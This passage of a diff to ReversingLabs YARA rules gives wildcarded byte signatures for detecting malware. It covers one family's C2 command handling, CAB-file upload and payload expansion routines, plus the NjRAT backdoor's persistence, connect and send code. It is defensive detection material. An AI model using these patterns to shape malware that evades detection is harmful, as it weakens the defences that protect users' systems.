?? ?? ?? 48 8D 4C 24 ?? 33 D2 41 B8 + ?? ?? ?? ?? 66 89 7C 24 ?? E8 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? + 48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 53 ?? 48 8D 0D ?? + ?? ?? ?? 45 33 C0 FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? + ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ?? + ?? ?? ?? 69 C0 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 + 8B 4B ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 4B ?? E8 ?? ?? ?? ?? 69 C0 ?? ?? ?? ?? 89 + } + $handle_c2_commands_p2 = { + 05 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 63 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8 + ?? ?? ?? ?? 48 8B CE 85 C0 75 ?? 8D 50 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 D2 E8 ?? + ?? ?? ?? E9 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? 48 8B 0B E8 ?? ?? ?? ?? 48 63 4C 24 ?? + 48 8B 15 ?? ?? ?? ?? 48 8B 4C CB ?? 85 C0 75 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 63 4C + 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B 4C CB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 3B 48 83 + C9 ?? 33 C0 66 F2 AF 33 D2 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? 48 8B 3B 48 83 + C9 ?? 33 C0 66 F2 AF 8D 50 ?? 48 F7 D1 48 8D 0C 4E E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? + ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 48 8B CB FF 15 ?? ?? ?? ?? + 8B C7 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 8B + 5B ?? 49 8B 73 ?? 49 8B E3 5F C3 + } + $create_cab_file_and_upload_p1 = { + 48 89 5C 24 ?? 55 56 57 41 54 41 57 48 8D AC 24 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 + 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 85 ?? ?? ?? ?? 4C 8B 3D ?? ?? ?? ?? 33 DB 48 8B F1 + 48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? 44 8B E3 89 5C 24 ?? 89 5C 24 ?? 66 89 5D ?? E8 + ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 89 9D ?? ?? 00 00 E8 ?? + ?? ?? ?? 33 C0 48 8D 4C 24 ?? 66 89 5C 24 ?? 48 89 44 24 ?? 89 44 24 ?? 66 89 44 24 + ?? FF 15 ?? ?? ?? ?? 0F B7 54 24 ?? 0F B7 4C 24 ?? 44 0F B7 44 24 ?? 0F B7 44 24 ?? + 0F B7 7C 24 ?? 89 54 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 7C 24 ?? 44 89 44 24 ?? 4C 8D + 05 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 48 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8D 4D ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 55 ?? B9 ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 4C 8D 4D ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 45 33 C0 FF 15 ?? ?? ?? + ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 8D 53 ?? 48 8B CE E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? + ?? 48 8B C8 48 8B F8 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? + ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D + 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 + ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 + } + $create_cab_file_and_upload_p2 = { + 8D 4D ?? 48 8B D6 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 48 8D 55 ?? 45 + 33 C0 48 8B CE FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? 48 8D 4D ?? 45 8D 41 ?? BA + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? + ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 ?? 75 ?? 8B C3 EB ?? 33 D2 48 8B C8 + FF 15 ?? ?? ?? ?? 8B F0 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B C3 EB ?? FF C6 B9 + ?? ?? ?? ?? 8B D6 44 8B EE FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 75 ?? 48 8B CF FF 15 + ?? ?? ?? ?? 8B C3 EB ?? 4D 8B C5 33 D2 48 8B C8 E8 ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B + C6 49 8B D4 48 8B CF 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B + 44 24 ?? 89 44 24 ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8D 4D ?? 4C 89 B4 24 ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 44 8B 6C 24 ?? B9 ?? ?? ?? ?? 41 83 C5 ?? 41 8B FD 41 8B + D5 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B C7 33 + D2 48 8B C8 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 33 + C0 48 83 C9 ?? 4C 8D 86 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 66 F2 AF 49 89 00 49 89 40 + ?? 48 F7 D1 49 89 40 ?? 49 89 40 ?? 48 FF C9 03 C9 74 ?? 8B D1 48 8D 8D ?? ?? ?? ?? + E8 ?? ?? ?? ?? EB ?? 48 8B F3 49 89 B7 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 44 8B + } + $create_cab_file_and_upload_p3 = { + 44 24 ?? 4D 8B CE 49 8B D4 48 8B CE 44 89 6C 24 ?? E8 ?? ?? ?? ?? 49 8B 8F ?? ?? ?? + ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 49 8B CC 49 89 9F ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 + 83 C9 ?? 33 C0 48 8D BD ?? ?? ?? ?? 66 F2 AF 48 F7 D1 41 8D 84 4D ?? ?? ?? ?? B9 ?? + ?? ?? ?? 8B D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 0F 84 ?? ?? ?? ?? 44 + 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 8B 54 24 ?? 4C 8D 8D ?? ?? ?? ?? 4C 8D 05 + ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B D6 8B C8 4C 8B C7 89 44 24 + ?? 49 03 CD E8 ?? ?? ?? ?? 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 03 CF 41 B8 ?? ?? ?? + ?? 49 03 CD E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? E8 ?? ?? + ?? ?? 45 33 C9 45 33 C0 41 8D 51 ?? 33 C9 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48 + 85 C0 0F 84 ?? ?? ?? ?? 48 89 5C 24 ?? 89 5C 24 ?? 49 8D 97 ?? ?? ?? ?? 41 B8 ?? ?? + ?? ?? 45 33 C9 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24 + ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 0F 84 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? 33 D2 + 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4D 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 49 8D 8F + ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 7C 24 ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? C7 44 24 ?? + ?? ?? ?? ?? 4D 8D 87 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45 33 C9 49 8B CC 48 89 5C 24 + ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 + } + $create_cab_file_and_upload_p4 = { + 8B 44 24 ?? 48 8D 15 ?? ?? ?? ?? 4D 8B CD 41 B8 ?? ?? ?? ?? 48 8B CF 89 44 24 ?? FF + 15 ?? ?? ?? ?? 85 C0 74 ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 45 33 C9 45 33 + C0 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ?? + ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? + ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? FF C0 B9 ?? ?? ?? ?? 8B + D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48 + 8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B + CE FF 15 ?? ?? ?? ?? 83 C8 ?? EB ?? 44 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 44 + 8B 44 24 ?? 4C 8D 4C 24 ?? 49 8B D5 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 + ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ?? + 45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B + CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 8B C3 4C 8B B4 24 ?? ?? ?? ?? 4C 8B + AC 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? + ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5C 5F 5E 5D C3 + } + $cmd_expand_payload_p1 = { + 40 53 55 41 55 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ?? + ?? ?? 48 8B E9 48 8D 8C 24 ?? ?? ?? ?? 45 33 ED 33 D2 41 B8 ?? ?? ?? ?? 66 44 89 AC + 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 44 + 89 AC 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 45 8D 45 ?? 48 8D 4C 24 ?? 33 D2 44 89 6C 24 ?? + E8 ?? ?? ?? ?? 33 C0 4C 89 6C 24 ?? 45 8D 45 ?? 45 33 C9 BA ?? ?? ?? ?? 48 8B CD C7 + 44 24 ?? ?? ?? ?? ?? 4C 89 6C 24 ?? 48 89 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? ?? ?? + ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 45 33 C9 33 + D2 48 8B C8 45 8D 41 ?? 4C 89 6C 24 ?? 48 89 BC 24 ?? ?? ?? ?? 44 89 6C 24 ?? FF 15 + ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ?? + ?? 45 33 C9 45 33 C0 48 8B C8 41 8D 51 ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 6C 24 ?? FF + 15 ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? + ?? ?? 4C 8D 40 ?? 48 8D 84 24 ?? ?? ?? ?? 41 83 C9 ?? 33 D2 33 C9 C7 44 24 ?? ?? ?? + ?? ?? 48 89 44 24 ?? 4C 89 A4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? + 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ?? + ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 + } + $cmd_expand_payload_p2 = { + 44 8B 66 ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ?? + ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ?? + ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 8B CD BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 44 24 + ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 4C + 89 6C 24 ?? 4C 89 6C 24 ?? 45 33 C0 33 C9 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? + ?? ?? 66 44 89 AC 24 ?? ?? 00 00 44 89 6C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C8 + ?? EB ?? 90 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 4C 89 6C 24 ?? 48 8D 0D ?? ?? + ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF + 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8B CB + FF 15 ?? ?? ?? ?? 41 8B C4 4C 8B A4 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B BC + 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? + 41 5D 5D 5B C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MC Commerce SP Z o o" and ( pe.signatures [ i ] . serial == "00:b8:2c:65:53:b2:18:6c:21:97:97:62:1a:aa:23:3e:db" or pe.signatures [ i ] . serial == "b8:2c:65:53:b2:18:6c:21:97:97:62:1a:aa:23:3e:db" ) and 1585785600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $network_communication_p* ) ) and ( all of ( $handle_c2_commands_p* ) ) and ( all of ( $create_cab_file_and_upload_p* ) ) and ( all of ( $cmd_expand_payload_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_F360F7Ad0Ed065Fec0B44F98E04481A0 : INFO FILE +rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Njrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects NjRAT backdoor." author = "ReversingLabs" - id = "96219c86-f463-5f11-950d-ca2af75d5559" - date = "2020-08-05" - modified = "2023-11-08" + id = "578c813f-4bba-52cd-bcc7-4de2c3943cf7" + date = "2024-07-31" + modified = "2024-07-31" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5424-L5442" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.NjRAT.yara#L1-L266" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2a25f1121f492dec461e570ff56acb0e3957cdf9100002f2ff0b6c3d3b35fee5" + logic_hash = "eeecf90965e6952d8b9efc9d1e96eaa47709b1d69fc7d435f4aebaaf0191f317" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "NjRAT" + tc_detection_factor = 5 importance = 25 + strings: + $persistence_mechanism_v1_p1 = { + 00 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? + ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? + ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 16 2B ?? 17 13 ?? 11 ?? 39 ?? ?? ?? ?? + 00 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 7E ?? ?? ?? ?? 28 ?? + ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 7E ?? ?? ?? + ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? + ?? ?? ?? 17 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? + ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 0A + 00 28 ?? ?? ?? ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 00 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 + 72 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ?? + ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2 + 00 11 ?? 28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 0B 00 28 + ?? ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F + ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? + ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 + DE ?? 25 28 ?? ?? ?? ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? + ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E + ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 + } + $persistence_mechanism_v1_p2 = { + 28 ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 + 28 ?? ?? ?? ?? 18 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 1D 28 ?? ?? ?? ?? + 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 00 1D + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 19 73 ?? + ?? ?? ?? 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 + 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 16 + 15 28 ?? ?? ?? ?? 26 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 00 28 ?? ?? ?? ?? 18 28 ?? + ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 7E ?? ?? ?? + ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 13 ?? 18 13 ?? 28 + ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 13 ?? + 11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 00 28 ?? ?? ?? ?? 11 ?? 11 + ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? + 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 00 11 ?? 72 ?? ?? ?? ?? + 11 ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 11 ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 + ?? 72 ?? ?? ?? ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 72 ?? ?? ?? ?? + 11 ?? 28 ?? ?? ?? ?? 17 8C ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 11 ?? 6F ?? ?? ?? ?? 00 11 + ?? 11 ?? 28 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 + } + $connect_v1_p1 = { + 00 16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 0B 00 07 13 ?? + 11 ?? 28 ?? ?? ?? ?? 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 + ?? 2C ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 14 80 ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? + ?? 0C 00 28 ?? ?? ?? ?? DE ?? 00 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 DE ?? 25 28 + ?? ?? ?? ?? 0D 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? + ?? ?? DE ?? 00 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? + ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? + ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? + 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 18 + 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 8C ?? ?? ?? ?? A2 + 00 11 ?? 14 14 14 17 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? + 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 17 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 00 + 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? + ?? ?? ?? 13 ?? 11 ?? 2C ?? 11 ?? 7F ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? + ?? ?? ?? 13 ?? 2B ?? 00 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? + ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 + } + $connect_v1_p2 = { + 00 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 11 ?? A2 00 + 11 ?? 17 7E ?? ?? ?? ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? + A2 00 11 ?? 1A 72 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? A2 00 11 ?? 17 7E ?? ?? ?? + ?? A2 00 11 ?? 18 72 ?? ?? ?? ?? A2 00 11 ?? 19 7E ?? ?? ?? ?? A2 00 11 ?? 1A 72 ?? + ?? ?? ?? A2 00 11 ?? 1B 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1C 72 ?? ?? ?? ?? + A2 00 11 ?? 1D 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1E 72 ?? ?? ?? ?? A2 00 11 + ?? 1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? + 1F ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F + ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? + 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E + ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 72 ?? ?? ?? ?? A2 00 11 ?? 1F ?? 7E ?? + ?? ?? ?? 28 ?? ?? ?? ?? A2 00 11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? + ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 25 28 ?? ?? ?? ?? 13 + ?? 00 28 ?? ?? ?? ?? DE ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 16 80 ?? ?? ?? ?? 28 + ?? ?? ?? ?? DE ?? 00 00 DE ?? 11 ?? 28 ?? ?? ?? ?? 00 DC 7E ?? ?? ?? ?? 0A 2B ?? 06 + } + $send_v1 = { + 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 16 0A 38 ?? ?? ?? ?? 00 00 7E ?? + ?? ?? ?? 0B 00 07 13 ?? 11 ?? 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 + ?? 11 ?? 